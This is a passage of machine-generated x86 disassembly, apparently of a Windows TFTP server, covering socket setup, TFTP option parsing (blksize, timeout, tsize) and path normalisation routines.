arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010A4
inc dword_1006134
pop ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010B8
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: sub_1001DEB+2Aj
push dword_1006040
call ds:dword_1001034
mov dword_1006124, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: sub_1001DEB+27j
push dword_1006040
call ds:dword_1001074
mov dword_1006124, 7
loc_1001E4B: ; CODE XREF: sub_1001DEB+30j
; sub_1001DEB+48j
push offset dword_1006120
push dword_1006044
call ds:dword_1001014
test eax, eax
jnz short locret_1001E6F
call ds:dword_1001038
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: sub_1001DEB+24j
; sub_1001DEB+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: sub_1001DEB+73j
; sub_1001DEB+7Bj
leave
retn 4
sub_1001DEB endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; sub_1001DEB+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:dword_1001014
push edi
mov edi, offset dword_1006120
push edi
mov dword_1006124, 3
push dword_1006044
call esi ; dword_1001014
mov ebp, ds:dword_1001038
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; dword_1001038
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push dword_1005DDC
call ds:dword_1001030
mov dword_1006124, 1
mov dword_1006134, ebx
mov eax, [esp+10h+arg_0]
mov dword_1006138, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov dword_100612C, ebx
mov dword_1006130, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov dword_100612C, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov dword_100612C, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov dword_1006130, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi
push dword_1006044
call esi ; dword_1001014
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; dword_1001038
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, dword_1005DE0
mov esi, ds:dword_1001054
cmp eax, ebx
jz short loc_1001F24
push eax
call esi ; dword_1001054
mov dword_1005DE0, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, dword_1005DDC
cmp eax, ebx
jz short loc_1001F36
push eax
call esi ; dword_1001054
mov dword_1005DDC, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, dword_1005DD0
cmp eax, ebx
jz short loc_1001F4D
push eax
call ds:dword_100109C
pop ecx
mov dword_1005DD0, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:dword_1001168
push dword ptr [esi+8]
call ds:dword_100111C
push dword ptr [esi+14h]
call ds:dword_1001118
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, dword_1006038
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi
call ds:dword_10010A0
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+var_4]
push edi
push eax
push edi
mov [ebp+var_4], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call sub_1003A4A
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+var_4]
call ds:dword_1001094
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+var_4]
push edi
push eax
push esi
call sub_1003A4A
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+var_4]
push esi
call ds:dword_1001098
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi
call ds:dword_10010A0
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_0]
call ds:dword_1001120
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = byte ptr -28h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1
push esi
push esi
push esi
push 2
push 2
call ds:dword_10010F4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+var_14]
stosd
stosd
stosd
push offset aUdp ; "udp"
push offset aTftp ; "tftp"
stosd
call ds:dword_1001128
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:dword_10010F8
push 2EEh
call ds:dword_100106C
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+var_14], 2
mov ax, [eax+8]
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call ds:dword_1001124
test eax, eax
jz short loc_10020E6
call ds:dword_1001038
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h
call ds:dword_1001094
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, [ebp+arg_0]
lea ecx, [ebp+var_28]
push ecx
push eax
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax
push eax
push eax
push eax
call ds:dword_1001040
mov edi, eax
test edi, edi
jz short loc_1002140
push 1
push edi
push ebx
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, [ebp+arg_0]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx
call ds:dword_100111C
test edi, edi
jz short loc_1002152
push edi
call ds:dword_1001054
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi
call ds:dword_10010A0
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, dword_1006038
mov dword ptr [esi+4], offset dword_1006038
mov [esi], eax
mov [eax+4], esi
mov dword_1006038, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, dword_1006038
push esi
mov esi, offset dword_1006038
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset dword_1006020
mov [ebp+var_C], esi
call ds:dword_1001058
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+var_4]
push 1
pop edi
push dword ptr [eax+esi+4]
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+var_4]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+var_4]
mov esi, eax
call ds:dword_10010A0
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, dword_1006038
mov edi, offset dword_1006038
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax
call sub_1001F54
push esi
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset dword_1006100
push offset dword_1005E00
call sub_1003A44
push offset dword_1006020
call ds:dword_100104C
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
var_FFBC = word ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call sub_1003A3E
push ebx
push esi
mov esi, ds:dword_1001104
push edi
push 5
call esi ; dword_1001104
mov edi, [ebp+arg_C]
mov [ebp+var_FFBC], ax
push edi
call esi ; dword_1001104
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
lea ebx, [ebp+var_FFB8]
mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h
push [ebp+arg_0]
not ecx
dec ecx
push eax
add ecx, 5
lea eax, [ebp+var_FFBC]
push ecx
push eax
push [ebp+arg_8]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:dword_10010F8
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6
rep stosd
call ds:dword_1001104
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+arg_4]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:dword_100115C
push offset aBlksize ; "blksize"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp
call ds:dword_1001160
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:dword_1001160
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp
call esi ; dword_100115C
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah
push ebx
push dword ptr [eax+24h]
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:dword_1001164
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0
push 8
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8]
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax
push ecx
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+arg_0]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi
add eax, edx
push edx
push eax
call ds:dword_1001144
mov eax, [ebp+arg_0]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:dword_1001104
push 3
call edi ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call edi ; dword_1001104
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:dword_1001090
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
